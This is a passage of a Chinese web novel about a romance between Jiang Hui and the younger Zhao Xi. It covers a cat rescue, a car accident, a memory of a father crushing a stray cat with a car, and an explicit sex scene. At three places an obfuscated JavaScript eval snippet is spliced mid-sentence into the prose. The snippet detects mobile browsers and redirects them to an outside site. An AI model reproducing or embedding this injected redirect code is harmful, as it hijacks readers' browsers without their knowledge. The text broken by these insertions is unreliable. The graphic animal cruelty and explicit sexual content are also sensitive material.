毕竟是在恋爱中,又是刚毕业的钻石十八岁男高,气血旺盛,经常蹭着蹭着氛围就不对劲起来,两个人的嘴唇就凑到了一起。 大部分时候是赵熙主动的,但他很会小心轻重,除了最开始在河边那次,后面都是顺着姜洄来,不敢太放肆,怕太轻浮了被小叔叔讨厌。 姜洄一开始还有些不适应,亲多了也习惯了。 但除了一开始会有些生涩的气息不稳,他却从没有主动回应过什么,每次接吻后,也只有赵熙反应起的很快。 其实他也不是每次都无动于衷,但赵熙实在太热情了,而姜洄的身体却从小就不太好,比不上十八岁精力旺盛的少年,加上……和他接吻实在太像被小狗舔了,一点攻击性也没有,每次他才起了点兴趣,就被赵熙这种温吞的节奏给磨灭了。 导致姜洄有些意兴阑珊,也就显得他养胃了许多。 但赵熙不知道啊。 每次察觉到他的身体变化,姜洄都会主动结束这个吻,然后温柔却强势地让他自己去解决一下。 而他自己衣冠楚楚,仍旧同从前一样清冷淡然,毫无波澜。 这让赵熙不免有些挫败。 某天接吻再次被推开,他抿唇杵在原地,姜洄说的话他也没回应。 他推了推赵熙,示意自己要起来,他却反把姜洄圈住,脑袋埋在脖颈,闷声道:“小叔叔是不是根本不喜欢我?” 姜洄愣道:“……怎么突然这么说。” 赵熙委屈地抬起一点头,以微微仰视的视线看着他道:“如果小叔叔不喜欢我,可以不用强迫自己和我在一起的。我希望小叔叔开心,你开心最重要。” 姜洄犹疑地道:“……我,挺开心啊?” 开心用疑问句? 赵熙不信,但他没继续说。 他又抱着姜洄,闻着他身上浅淡的那股兰香,低垂的眼眸里全是连自己都没察觉到的痴迷。 脑袋埋着小叔叔脖子蹭了会儿,身下的反应不那么明显了,在姜洄耐心消耗完之前,他才终于熟练地起身,乖顺说:“我去一趟卫生间。” 赵熙总有用不完的精力和热情。 前一天姜洄还在思考是不是自己的反应太冷淡伤了小孩的心,第二天他就又恢复了平日里没心没肺的模样,大早上就黏黏糊糊地跟他讨要早安吻。 姜洄撇过头,睡眼惺忪:“没刷牙,别闹。” 按照以往的习惯,赵熙还得缠他一会儿,直到他烦不胜烦被他亲到清醒为止。 但今天赵熙只在他耳边轻轻哼了一声,竟然也真的没再继续缠他。 姜洄闭着眼又静了一会儿,原本都要睡着了,察觉到腰间的手轻轻拿开,反而瞬间清醒了起来。 但他没动,也没睁眼。 赵熙起了床,拿了衣服去卫生间,水声持续了一段时间,片刻后又停下了,脚步声从卫生间到门前。 虽然动静很轻,姜洄很熟悉这动静,这是赵熙要去晨练了。 姜洄虽然听上去是每天九点就睡,但实际上他常失眠,有时候其实躺着凌晨才睡着,且一旦睡着就非常沉,总是多梦,没有要事的话一定会睡到日上三竿。 对比起他乱七八糟的作息,其实赵熙才是作息真正规律健康的那个,好像有无限精力,姜洄请的营养师说要锻炼身体最好早上起来跑步,他就雷打不动地早上六七点就爬起来去晨练。 姜洄佩服以前的自己竟然能有这毅力,但在睡觉这一点上,他是真的做不到像赵熙一样不贪觉。 翻了个身,想着今天是好不容易的休息日,姜洄又毫无所觉地睡过去了。 就这样又过了几周,一切如常。 只有姜洄知道,赵熙最近变得比以前要克制多了。 以往只要有空他都粘着姜洄,一天恨不得接吻上十次,现在却不同,有时候看着他的眼神,姜洄都以为他要亲上来了,下意识偏头抬下巴要去迁就他的动作。 赵熙却只是笑笑,收敛了眼里的情绪,好似没看到般又把脑袋收回去了。 眼观鼻鼻观心,看着比姜洄还淡定。 姜洄隐约察觉到什么,但不好开口问。 原本确实是有些觉得他热情过头,但赵熙要是突然变了性子,他反倒还不习惯了。 这才多久…… 他叹气。 习惯真是个可怕的东西。 虽然最近腻歪着,但正事也没落下,赵熙高考结束后可不是闲着没事干,姜洄工作之余,也请了位专业老师来,着手教他怎么按照自己以前教的那些,来处理公司里各种类型的文件项目。 他要去公司上任总要走个流程,姜洄提前留了个副总的位置给他,这天顺道带他去公司认了个脸。 赵熙也配合,只是空降一个这么年轻的领导,难免有人对此颇有微词,赵熙都仿佛没有看见,脸上笑容始终和熙。 赵熙陪着他在公司办了一天的公,傍晚又一起回去。 出了公司的门,拐过一个路口,正要去停车处时,姜洄拉了下他的手腕:“走走吧。” 赵熙回头看他一眼,眉眼一弯:“好。” 他向来这样,从不拒绝姜洄的任何要求。 这样炽热的夏日街头,空气中仿佛飘浮着盛夏炙烤过的阳光味道,有一搭没一搭,闲散地聊着各种琐碎的生活小事,姜洄竟然也生出了几分惬意。 沿着这条商业街走了片刻,看他额头上冒汗,赵熙停下话头,没再继续和他讨论公司的事情。 他转头扫了两眼:“那边有个雪糕专店,小叔叔要不要吃雪糕?” 姜洄说:“是你想吃了吧。” 赵熙挑眉:“冤枉啊,我是看小叔叔很热的样子。” “还是原来的款式?”赵熙道,“那你在这等会儿,那边太阳太大了,我马上回来。” 姜洄可有可无地点点头。 他站在屋檐的阴影里看赵熙大步走向马路对面的雪糕店,眼前忽然一晃。 一道黑影飞跃而过,停在他面前不远处的阴影中。 姜洄定睛一扫。 是只黑猫。 赵熙拿着两个雪糕回来的时候,看见的就是姜洄拿着路边店里临时买的火腿肠,蹲在屋檐下逗猫的样子。 路边来来往往许多路人,都不禁向他投去目光,实在是因为身高腿长的帅哥面带浅笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033616|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头喂猫的一幕太过养眼。 偏偏视角中心的主角对此仿佛毫无察觉。 赵熙走过去,停在姜洄身侧:“……流浪猫?” 姜洄将手里的火腿肠又挤出来一截。 小黑猫原本还对突然出现的赵熙有些警觉,闻到食物的香味,试探性继续吃了几口后发现没有任何事发生,于是又埋头继续啃了起来,傻乎乎地把可能潜在的危险抛之脑后了。 姜洄抬头瞥他一眼,没伸手去接雪糕:“应该不是,养的油光水滑的,更像是走丢了。” 看它萎靡不振地趴在一旁,姜洄犹豫两秒,还是去路边的小店里临时买了两根火腿肠来,还找老板要了点猫粮和水。 要付钱的时候老板没收,估计是觉得这么几口猫粮还收钱不好意思。 姜洄没为难,趁老板和其他客人说话,放了两张现金在柜台上,转头走了。 赵熙道:“不吃吗?” 姜洄察觉到唇边有冰凉的气息在靠近,扭头看见他递过来的卷筒雪糕,道:“喂完猫再吃。” 赵熙道:“那你吃,我喂它。” 姜洄犹豫两秒,点了头。 他把另一根火腿肠和矿泉水瓶给了赵熙,用对方口袋里随时都准备着的湿巾擦过手,然后接过两只雪糕蹲到了一边。 眼前喂食的换了人,小猫惊了一下,被姜洄伸手安抚性地摸了两下脊背才勉强放松下来,没有当即窜出去。 赵熙好不容易等到它肯低头吃了,松了口气:“小叔叔好像很喜欢猫,我是说——所有动物里最喜欢它。” 姜洄很轻地“嗯”了一声,仍是淡淡的:“一般吧。” “为什么?” “……喜欢猫哪有为什么?” 姜洄轻笑,随口道:“看它可爱。” 赵熙扬了下眉,看样子不大信。 但姜洄伸手把他的那份雪糕递过去,似乎没想让他继续问:“吃。” 赵熙:“……手脏。” 他有洁癖,姜洄一直都知道的,是多年来的强迫症习惯养成。 这点也和姜洄不一样,他十五岁之前甚至不知道干净整洁的家能长什么样。 一切灰暗的、污秽的,在那条唯一的容身之处的巷子里,他都只能被迫接受。 姜洄没有继续想下去,他及时收回了思绪,表情没怎么变:“你可以就着我的手就这么吃,我不介意。” 赵熙失笑:“行。” 喂完猫,雪糕也差不多吃完了,姜洄擦过手又去摸它,它便扭头,在姜洄掌心用小脸蹭了蹭,轻轻喵了一声,已然十分信赖的模样。 “这是什么品种的猫?” “英短,应该最多两岁。”姜洄试探性地将猫抱起来,它没有反抗,只是用爪子轻轻勾住了姜洄的衣领。 “要帮它找主人吗?” 姜洄道:“周围没有居民楼,可能是主人带着它在附近逛街走丢的,但身上没挂联系方式……去商场看看吧,可能会有找猫的信息。” 看他目光一直钉在猫咪身上,一点也没分散给自己半分,赵熙忍了忍,没忍住,悠悠道:“哎,世风日下,人不如猫啊。” 姜洄一顿。 他意味不明看了眼赵熙,见他耸肩表示无辜,从鼻腔里发出一声嗤笑。 “你不会是吃猫的醋吧?” 赵熙:“小叔叔冤枉我,我可没有这么说。” 姜洄:“嗯?” 于是赵熙偏头,小声嘀咕补充了句:“……只是发现,小叔叔都没有主动抱过我。” 还说没醋。 姜洄可太清楚他心里的小九九了。 “猫有的你也有。” 姜洄摸了一把小猫头,赵熙感觉好像也被隔空撸了一把。 他轻描淡写道,“右边口袋,自己拿。” 他今天穿了身清爽的衬衫,底下是一条正装黑色裤子,只有裤子后面有口袋。 在姜洄坦然的注视下,赵熙咳了一声,耳朵悄悄红了点。 他没敢盯着看,偏过视线,在人群看不见的角度伸手进去摸了摸。 摸出来一把熟悉的、裹着透明糖纸的糖果。 32. 狸花 赵熙看着掌心里熟悉的糖纸,一时哑口无言。 半响,他蜷缩了下手指:“什么时候买的?” 姜洄:“刚刚买猫粮的时候,很巧,那家店也卖这种糖。” 他们走在去商场的路边,步子悠闲。 赵熙剥开一个放进嘴里,将其他的收了起来,垂眼低声道:“小叔叔还拿我当小孩哄。” “是,你不是小孩。”姜洄点头,又看他一眼,轻笑,“是我想哄你而已。” 每次赵熙不高兴了,不管因为什么,只要姜洄发现了,他都能获得一把糖果。 不过赵熙在他面前表露的不开心很少。 大多数时候他很符合权贵世家少爷们的一切标准,但开心的事情乐于表达,难过却会自觉收起来,为了不让姜洄担心。 赵熙眨眨眼,嘴里的糖硌哒一声咬碎了:“可我没有难过啊。” 姜洄:“你没有难过,那最近怎么……” 他说到这停下来,没继续讲下去,用一种似笑非笑的眼神打量了两眼赵熙。 视线最后落在他唇瓣上。 每次他用这种眼神看着自己的时候,赵熙都很想亲他。 他下意识舔了舔唇,想起自己最近唯一可能被认为“难过”的点,大概就是接吻次数变少了。 “可是……”赵熙咳了一声,压低声音,“那还不是因为,看小叔叔好像不喜欢接吻吗?” “……”姜洄无语片刻,道,“没有不喜欢。” “不信。”赵熙视线往街边的店里瞟,语气也轻飘飘的,“每次……小叔叔都没什么反应,不是不喜欢接吻,就是不喜欢我。” 姜洄又默了默。 “有没有可能,我只是不太喜欢你接吻的方式。” 赵熙:“……嗯?” 姜洄却在他扭头时收回视线,不再说了。 他欲盖弥彰道:“回去再说吧。” 这里人多眼杂的,讨论这些实在有点挑战他的心理承受力。 赵熙若有所思地点头。 然而才又走了两步,姜洄怀里的黑猫忽然喵了一声,似乎看到了什么,开始蛄蛹着往外跑,姜洄一时没抓住,黑猫已经唰一下跳了下来。 它头也不回地跑过马路,眼前一辆车掠过之后,又在姜洄震惊的目光中茫然地停在了路中央。 然而不远处,一辆车正在朝黑猫的方向疾驰而来。 姜洄瞳孔放大,下意识拔腿过去,一把拽起了路中央的黑猫。 身后赵熙焦急道:“小叔叔!” 姜洄转头,那辆车控制不车速,已经急急冲了过来。 但不等他再跑出危险范围,身后一股巨大的力量撞过来,带着他往前扑了一段,又一起倒在了路边因为惯性滚了两圈。 汽车尖锐的鸣笛与刹车声之后,姜洄懵了一瞬间,前世的车祸画面在此刻全部涌上心,他面色猛然一变。 没来得及管怀里窜出去的猫,姜洄第一时间转头看去:“赵熙!” “我在。”赵熙垫在他底下,轻轻“嘶”一声,还要先问他,“小叔叔,没事吧?” “还管我呢?!”姜洄匆匆坐起来,有赵熙牢牢护着他,他现在整个人都好得不得了,一点皮都没破。 倒是赵熙——姜洄眉头紧皱,拽着他左右打量,急切道,“有没有哪里受伤了?” 赵熙犹豫了下,递出手掌给他看。 他本要卖点惨,看着姜洄紧皱的眉头,还是不忍心让他担心,于是话到嘴边,又变成一句:“还好,一点擦伤。” 姜洄看着他整只手都被地面磨破、血肉模糊的手掌,还有胳膊肘的擦伤痕迹,气息沉了下来。 周围不断有路人围过来,姜洄没有说话,只是先轻轻抓着他的手腕将他拽了起来。 车主从车上探出脑袋,看他们还能起身,松了口气:“不好意思啊,没刹住车,不过你们也是,下次别在路中间站着了……” 姜洄瞥他一眼:“在商业街车速开这么快,赶着去投胎?” 车主被怼了一句,噎了一下,脸色有点不好看。 不过也确实理亏,嘀咕了两句什么,丢了两张钞票过来:“当我请你们检查的了。” 这次姜洄还没说话,赵熙先不爽了,脸上的笑散了些:“懂不懂什么叫尊重人?还有。” “——大街上撒钱违法。” 见他们不肯捡起来,围过来指指点点的人也越来越多,车主面子上过不去,还是灰溜溜下车把钱捡起来了,又臭着脸递过来。 赵熙还要说什么,被姜洄拉住了。他收了钱,没说什么。 车主没敢纠缠,很快开车跑了。 赵熙被姜洄拽着往前走了两步,看他情绪不太对,犹疑着问:“小叔叔,猫呢?” 姜洄顿了顿,还没回话,不远处从人群里跑过来一个女生,边喊等一下边追上了他们。 赵熙定睛一看,她怀里抱着的那只猫就是刚刚从小叔叔怀里跑掉的那个。 “我看到你们救了我的猫,谢谢啊。” 姜洄扫了一眼她怀里的黑猫,应该是应激了,窝在主人怀里一直发抖:“……不客气。它好像应激了。” 女生千恩万谢,要给钱感谢姜洄没收,说可以带它去医院看看,女生便也来不及留联系方式,怕猫咪出事赶紧走了。 姜洄拽着他打了专车,一路到医院都没说一句话。 医生给赵熙包扎伤口,见怪不怪:“不严重,就是破了皮,见了点骨头……手没什么大问题,回去好好养养,按时上药,吃饭什么的记得用左手……” 赵熙一一应了,等出了门,扯了扯姜洄的袖子:“小叔叔,你看,医生都说不严重了。” 见了骨头,叫不严重? 医生那是站在医者的角度,没伤到根茎骨头不用打板子所以说不严重,但是难道他自己感觉不到痛吗? 姜洄忍了忍,没骂他,道:“去缴费了。” 赵熙又亦步亦趋跟在他后头,大概知道他动气了,乖巧得不得了。 回去的车是喊的王叔来接他们的,隔板才升起,赵熙就握住了姜洄的手:“小叔叔,你生气了?” 姜洄沉默,想甩开他的手,赵熙轻轻一声“嘶”,他立刻就不动了,才发现赵熙来牵他的这只手是受伤那只。 赵熙撇嘴道:“这不公平,我还没生气呢。小叔叔为了猫甚至可以不顾自己的危险,我也很生气。” 姜洄突然有点心虚,他终于开口:“……我救猫是因为我有把握不被车撞到。” “而且救不救猫那是另一回事。” 他看向赵熙,语气沉沉:“但你怎么敢直接冲上来的?你考虑过要是被车撞到该怎么办没有?” 赵熙道:“小叔叔有把握能救到猫,我也有把握能救到你啊。” “但你那个距离站在那里什么都不做,我们都不一定会有危险。” “你也说了是不一定,”赵熙将脑袋放在他肩上,轻声道,“万一有意外呢?我不敢赌,小叔叔。我甚至宁愿自己被车撞。” 他们都知道赵熙没说完的是什么。 他宁愿自己被撞,也不愿意看到姜洄受伤。 那万分之一秒的时间,他甚至来不及思考太多,是本能先过脑子一步,让他拔腿冲上去,护住了姜洄。 至于其他的,完全没考虑过。 姜洄心里堵着一口无处发泄的郁气,在他这番话说出来之后变得更浓了。 他呼出一口浊气。 “为什么?” 赵熙脑袋动了动,“什么为什么?” 姜洄低声道:“为什么可以不顾自己的安危,来救我?” 赵熙笑了:“小叔叔,你现在是我唯一且最重要的亲人、爱人……你说能有为什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033617|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜洄不说话了。 良久,赵熙轻轻摆了摆他的手,低声道:“别生气了嘛。” “那你下次遇到这种事,能不能过脑子?” “不能。”赵熙轻快道,“有小叔叔在的话,我还是会这么做。” 姜洄再次沉默了。 他不长不短的一生,加上属于“赵茴”时候的九年,都从没有一个人能如此坚定的选择他。 会在危难面前,说宁愿自己被撞,也不愿意让他受伤。 一个人的本能不会骗人,姜洄想。 也许赵熙是真的很喜欢他。 赵熙忽然“啵”一声在他脸颊亲了一口。 姜洄抬手捂了下脸,先看的前面——有隔板,王叔听不见——再将一双略带震惊的眸子转向赵熙:“……干什么?” “小叔叔因为担心我的安危在生气,”赵熙弯着眼睛,“我在哄你。” 他另一只手也握上来,埋头在姜洄肩上道:“别生气了嘛,求求你了小叔叔。” 他惯会用这种撒泼打滚的赖皮手段。 姜洄深吸一口气。 他把肩上的的脑袋拨开,假装不知道他趁乱在他脖子上跟妖精吸精气一样吸了两口:“你不是问我为什么喜欢猫吗?” 赵熙顿住,缓缓眨了下眼。 姜洄微微避开他的视线,看向车窗外,含糊道:“我以前有过一段时间,一直是一个人。” “那时候有只流浪猫,整天在……”姜洄顿了下,不动声色改了改措辞,“在小区里路口上蹲着,路过的喂了两口东西它就打起精神来吃,但大多数时候都是死气沉沉躺着。” 它大概有病,姜洄看得出来。 那时候他还不太懂猫这种生物的年龄种类怎么算,只知道那猫体型不大,后腿一只脚是跛的,大概也因为这个所以才会被主人抛弃。 不少路过的人想养它,喂了几口吃的,发现它瘦骨嶙峋还有病,就都放弃了。 姜洄从公司每次回宿舍,都能在楼下看到它。 有时候它会动一动耳朵,爬起来看一眼是谁,然后再趴下,更多时候它一动不动。 姜洄觉得它和自己挺像的。 都有残缺,都人人嫌弃,都无家可归。 有天突发奇想,在走过一家便利店的时候他找老板买了点猫粮,回去路上难得没有直接上楼,他生涩地学着那些逗猫的人,学了两声猫叫。 那猫就抬头看了他一眼,然后直起身子一瘸一拐走到他面前,低头去吃他手上的猫粮。 从那以后,这猫见到他,偶尔也会朝他喵一声,好像在和他打招呼,不再像从前那样忽视他了。 姜洄家里的猫粮买的越来越多,和这只猫也越来越熟。 他知道了这只猫的品种是田园狸花猫,知道它大概一岁,是人类年龄的青少年时期,也知道这种猫好凶斗狠,生性散漫不好家养。 他便也没带回家,琢磨着哪天有空把它带去医院看看腿,瞧瞧身上到底有什么病。 但他太忙了,直到有天在楼底下遇见了很久不见,一露面就来跟他讨钱的姜父。 他不知道从哪里要到的姜洄的住所地址,上来就狮子大开口问他要二十万,一问就是赌钱又输了。 姜洄不给,甩手要离开,被姜父死死拽住。 争执间,一旁的狸花猫窜出来,给了姜父一爪子,一口咬在了男人手臂上,霎那间流了血。 姜父慌神松了手,痛得把猫甩飞了出去,捂着伤口痛骂:“哪来的死畜生!” 姜洄眼疾手快把猫接住了,好歹没出什么事。 姜父骂骂咧咧地离开了,而姜洄低头看着怀里还在冲着姜父的背影弓着背凶恶地喵喵叫的狸花,神情复杂。 猫不懂善恶,不知贫穷。 它只知道谁对自己好。 他人生里第一次被保护了,却是一只猫护的他。 33. 帮你 来找他的人是姜父,姜洄当然不能说,他只含糊道“一个很讨厌的人来找他要钱”。 “……后来呢?” “后来。”姜洄顿了顿,“没有后来了。” 小狸花猫替他拦住了好几次姜父的纠缠,后来每次遇到对方就像是遇到仇敌一样,搞得姜父都有ptsd了,见到它身上就隐隐作痛。 每次把人赶跑,它就悠悠地甩着尾巴回来,然后恨铁不成钢地瞥一眼姜洄,喵喵叫几声,像是在骂他为什么保护不好自己,老是被坏人骚扰。 姜洄给他送去医院驱了虫,检查了腿,医生说腿上的骨头伤得不是很严重,还有治愈的可能,然后给猫上了夹板。 他甚至考虑起了把猫带回家养,因为担心它不习惯,还是作罢。 后来的某天晚上,因为姜洄赶着拍夜戏,当天没有回来,堵了他一天的姜父没堵到人,气急败坏,一时兴起,找到了那只狸花猫。 猫腿上有夹板,没跑掉。 他将猫的另一只腿也掰断了,然后开着借来的车,在狸花凄厉的嚎叫声里,来来回回几遍,将它碾死,扬长而去了。 姜洄回去没看到它,好几天找不见踪影,最后找保安调了路边的监控,才发现他这几天从一旁走过好几次的、路边的那滩模糊不清的东西,是那只狸花猫。 很长一段时间,他频繁地因此梦魇,但每次梦到这只瘸腿的猫,都只是一眨眼,它就像一道影子一样,轻盈地跑走不见了。 姜洄张口想喊住它,却发现自己甚至不知道它的名字。 他原本想取一个的,但还没想好,猫就死了。 因为他。 车厢里一时安静下来。 所以,小叔叔是因为这个才对猫那样偏爱。 姜洄先开口打破了沉寂,语气淡然:“也许当初我不搭理它,就不会有后面的事情发生。” “希望它下辈子好好的,不要瘸腿,也不要再遇到我了。” “……又不是你的错。” 赵熙抿着唇,紧紧攥着他的手,道:“那个人叫什么?” 姜洄一眼看出他的想法:“……你不认识,都过去了。” 是啊,都过去了。 二十岁那年,他已经亲手将对方送进了牢里,这辈子他都出不来了。 这一世还要更早一些,赵熙十岁姜父就进牢里了。 看出他不想说,赵熙没有为难。 他有些生疏地安慰道:“别难过。猫猫肯定不怪你的……对了,我可以去建一个猫咪慈善堂,捐进去的钱都算小狸花的功德,它要是有下辈子,肯定好好的。” 姜洄失笑:“行啊。” 赵熙轻声说:“那抱一下。” 姜洄从他眉眼里看到了陌生的心疼。 心疼他吗? 他微微闭眼,压下了眼眶里的热意。 难得没有斥责什么,只是垂首,沉默地将脑袋靠在了他怀里。 赵熙哄小孩一样拍拍他的背,轻声说:“以后小叔叔做噩梦了就找我……还有,以后我替它继续好好保护你。” 下了车,他们一进别墅的门,确定过没有别人在,姜洄扭头就将他摁在了玄关大门处,亲了上来。 赵熙懵了一下,抬手扶住他的腰。 他从没感受到过这样主动的小叔叔,一时间竟然难以招架,中间几次分开换气,又被姜洄拉了回去,拽着继续接吻。 赵熙有点受不了。 偏偏几次之后,姜洄又松开,问他:“明白了吗?” 赵熙低低喘着气,目光在他水光潋滟的唇上闪过,喉结滚动:“……什么?” 姜洄道:“以后这样亲,我才有感觉。” 赵熙:“……” 他迟钝了两秒才理解姜洄的意思:“……原来那你喜欢凶的。” 好巧。 他也喜欢这样的小叔叔。 姜洄不置可否。 下一秒,赵熙再次倾身吻了过来。 仿佛天雷勾地火一般,他不再收敛,压抑许久的渴望被释放,唇齿交缠间他们激烈地交换着气息,好像要彻底溺死在这个过度暴烈的吻里。 倒在沙发上时,因为身体紧紧挨着,赵熙明显感觉到怀里的人僵硬了一瞬间。 他顶到小叔叔了。 于是沉沦的情绪瞬间清醒。 赵熙自觉停了下来,分开唇齿,道:“我去解决一下……” “等等。” 赵熙转头看向沙发上领口已经被弄乱的小叔叔。 姜洄舔了舔唇,平静道:“我帮你。” …… 赵熙的尺寸和他差不多,但或许因为赵熙这些年养得比他好,个头更高,所以还要粗壮那么一些。 姜洄只看了一眼就别开头,有点脸红。 这种事情和接吻还是不一样的。 给赵熙干这事,姜洄有种变成了自己的“右手姑娘”的感觉。 以为他犹豫了,赵熙垂下眼,说:“我真的可以自己……” 话音未落,姜洄忽然伸手抓了过来。 然后赵熙不说话了。 一开始当然是用手的,后面手累了某人还没结束,姜洄看着他潮红的脸,鬼使神差地低下了头。 赵熙惊愕地看着他埋头吞吐,从前向来高高在上、哪怕比别人矮也总给人一种俯视错觉的人,现在却为他低下头做这种事…… 刺激性太大,赵熙呼吸变得更粗重了。 卧室的房间门被关上,窗帘也拉得严严实实,挡住了傍晚仅剩的那点光。 房间里视线昏暗,只有隐约的水渍声和他们低低的喘息混合在一起。 赵熙完好的那只手落在姜洄的头发上,像抗拒又像桎梏。 不知过了多久,某一瞬间,他手背青筋毕现,没能控制住,下意识深深按了下去。 姜洄忍着反胃的冲动,被呛了一喉咙。 赵熙手足无措将他拉起来,裤子都没拉上忙着帮他拍背:“我……不是故意的。” 姜洄又猛地咳嗽了好几声,把喉咙里膻腥味的东西咽下去,又喝了口他递过来的水,才终于缓过来。 赵熙看得面红耳赤,喃喃道:“……这东西,能吃吗?” 姜洄没好气地瞪他一眼,眼尾还有几分红晕:“谁让你*在里面了。” 赵熙不说话了。 姜洄往下一扫,感觉喉咙发痛:“……你怎么又起来了。” 赵熙霍然起身,匆匆进了卫生间:“我自己解决……这次真不用帮忙。” 姜洄心想他想帮忙也有心无力了,他喉咙还因为刚刚那一下痛着呢。 当晚睡觉之前,赵熙忽然问他:“小叔叔,你以前谈过恋爱吗?” 姜洄觉得有些耳熟,思索片刻,想起这个问题,以前赵熙也问过他。 不过那时候他问的是,姜洄的青春时期有没有谈过恋爱。 姜洄的回答是没有。 而这次—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033618|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜洄有些困顿地抬起眼皮看他:“我青春期后就是十八岁遇到你了,怎么,我后面谈没谈恋爱你不知道?” 赵熙笑了一声:“好吧。那,小叔叔以前发生过什么有意思的事情吗?我是说,没遇到我之前。” 他想了想,紧了紧抱着姜洄的胳膊:“好和不好都可以说给我听。” 姜洄眉眼微动:“问这个干什么?” “想知道小叔叔的过去是什么样子。”赵熙下巴靠着他的肩膀,声音低低的,“说说嘛,就是闲聊。” 又撒娇。 姜洄兴致不高。 和赵熙说什么,说自己那些乱七八糟的过去吗? 哪怕姜洄能瞒住自己和他是一个人这件事,原主的人生顺风顺水光鲜亮丽,从没遭遇过什么苦难,这些话说出来也要露馅。 有时候姜洄也会想,凭什么上天这样不公,既然有系统能改变赵茴的人生,那他呢? 那些年辗转反侧的夜里,他的痛苦算什么?为什么没有人来帮他改变? 想多了没有意义,姜洄又要头痛了。 他合上眼,懒散道:“就那样,吃吃喝喝,玩玩乐乐,没什么烦恼。” 是吗? 赵熙半信半疑,总觉得不是这样。 要真的这样无忧无虑的话,为什么小叔叔总是失眠,要闻着熟悉的味道才能安心入睡,为什么常会因为梦魇夜半惊醒? 他犹豫了下:“小叔叔是不是不爱拍照?我好像没有看到过小叔叔以前的照片。” 姜洄半晌“嗯”了一声。 其实赵熙总感觉,小叔叔有些事瞒着他没说。 不过这样问也问不出个什么来,明显姜洄也不想说,赵熙便没再说下去。 隔了几天,吃饭的空隙里,姜洄接了个电话,赵熙忽然又想起这个问题,他状似无意地问起陈阿姨:“陈姨,你们什么时候来这边的?” “啊?”陈阿姨想了想,“你说来这别墅的时间吗?八九年前吧,那时候二少爷就搬过来了,后面也没怎么去别的地方住过,怎么了?” 赵熙道:“小叔叔以前住哪里?” 陈阿姨摇头道:“不太记得了,反正不住这边。你得问老王,他常年跟着二少爷跑,记性比我好。” 恰好说话间,姜洄打完电话回来了,听见了句尾音,顿了下。 他将手机放到桌上,道:“在聊什么?” 陈阿姨笑道:“对哦,少爷你要问什么直接问二少嘛……我们在聊二少以前住哪里呢。” 赵熙成年以后,他们都这么叫,姜洄是二少,赵熙是少爷,各论各的。 赵熙没来得及阻止,只好无辜地看向姜洄,神色坦诚,仿佛只是随口一问。 对方持着筷子的手不易察觉地停顿了下:“……以前住的挺分散的,学校里离哪里近就住哪边的房产。” 这话确实没错,原主就这么住的。 赵熙“哦”一声:“我能去看看吗?” 姜洄:“不能。” 他扯了扯嘴角,笑意却不达到眼底:“那几套房子租出去了。” 其实没有租出去,只是因为那些房子有太多原主的生活痕迹,赵熙去看了就要露馅,但姜洄不想动原主的东西。 赵熙眨眨眼,给他夹了一筷子菜,好像对他的抗拒毫无所觉:“好。” 姜洄不让去,他就不去,不管作为恋人还是侄子,他都乖的可以。 姜洄轻笑一声,低头吃饭。 34. 日记 赵熙最近频繁提起从前——关于“赵茴”的从前。 他似乎对小叔叔的一切都很感兴趣,可惜姜洄不喜欢他打探这些,次次都不软不硬地堵了回去。 次数久了,也有些郁闷。 某天夜半再次被惊醒时,身后赵熙已经将他抱进怀里,手已经熟练地摸了过来,按在他腹部,语气里还有些困意。 “小叔叔,我在。” 姜洄于是从耳鸣中回过神。 有赵熙在,他几乎从不用耳罩耳塞这种东西,因为肯定会被问为什么,于是他总是硬抗,也从不说自己会耳鸣。 但赵熙大概看出来了什么,每次他惊醒,都会喊他很多声,直到他回应。 将要被他按摩的手法舒服到睡着时,赵熙却清醒了,在姜洄耳边轻声说:“小叔叔做了什么噩梦,其实可以说给我听。” 姜洄便懒散地闷笑一声。“你也把我当小孩子哄了?” 赵熙也笑笑:“是小叔叔的反应太让人担心了。” “小叔叔从前,是不是有经历过什么不好的事情?” 姜洄便收敛了笑意,出神了很久。 他淡声道:“我是不是没有教过你一个道理?不该问的事情,不要问。” 赵熙也沉默了很久,然后说:“好,我明白了。” 他隐约猜到,小叔叔或许有一段不为人知的过去,那段过去经历还有些糟糕,才导致他常在梦中惊醒。 那是一段他无法参与的岁月时光,他无缘窥见一分一毫。 不止是他,甚至可能,连其他人也没有参与过。 但未来是属于他们的。 赵熙想,没关系,以后他对小叔叔好就行了。 他很有耐心,可以花很久的时间慢慢让他的伤痕愈合,不管那伤痕是如何造成的,何时造成的,未来都不会再出现。 小叔叔现在不愿意讲给他听,那他就等着,等到他愿意讲的那一天。 只要他们还在一起,赵熙就可以等。 